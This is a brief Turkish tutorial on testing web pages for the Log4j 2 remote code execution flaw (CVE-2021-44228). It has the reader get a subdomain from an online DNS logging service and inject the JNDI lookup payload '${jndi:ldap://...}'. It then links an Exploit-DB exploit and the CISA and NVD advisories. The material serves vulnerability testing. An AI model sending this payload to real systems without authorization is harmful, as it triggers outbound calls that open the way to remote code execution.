Apache Log4j 2 - Remote Code Execution (RCE)

 

 

 

Web sayfaların’da zafiyet kontrolü yapmak

 

 

ilk önce “http://www.dnslog.cn/” sayfasına gidiyorsunuz. Bu sayfa online dns hizmeti veriyor.

 

Öncelikle “Get subDomain” butonuna tıklarayak bir dns adresi elde ediyorsunuz.

 

 

${jndi:ldap://dnslog adresi}

 

 

EXPLOİT BAĞLANTISI:

 

https://www.exploit-db.com/exploits/50592 

 

 

DAHA DETAYLI ANLAMANIZ İÇİN:

 

https://www.cisa.gov/uscert/apache-log4j-vulnerability-guidance

 

https://nvd.nist.gov/vuln/detail/CVE-2021-44228